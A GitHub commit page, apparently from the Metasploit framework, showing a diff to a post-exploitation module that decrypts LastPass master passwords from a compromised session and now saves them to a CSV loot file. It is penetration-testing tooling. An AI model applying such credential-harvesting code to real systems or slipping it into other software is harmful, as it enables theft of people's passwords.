Skip to content

Commit

Permalink
Loot the passwords, obviously
Browse files Browse the repository at this point in the history
  • Loading branch information
jhart-r7 committed Oct 19, 2014
1 parent 0971d7c commit 88c1647
Showing 1 changed file with 11 additions and 1 deletion.
12 changes: 11 additions & 1 deletion modules/post/multi/gather/lastpass_creds.rb
Expand Up @@ -104,7 +104,17 @@ def run
password = clear_text_password(user, enc_pass)
credentials_table << [account, browser, user, password]
end
print_good credentials_table.to_s unless credentials.empty?
unless credentials.empty?
print_good credentials_table.to_s
path = store_loot(
"lastpass.creds",
"text/csv",
session,
credentials_table.to_csv,
nil,
"Decrypted LastPass Master Passwords"
)
end
end

# Returns a mapping of { Account => { Browser => paths } }
Expand Down

0 comments on commit 88c1647

Please sign in to comment.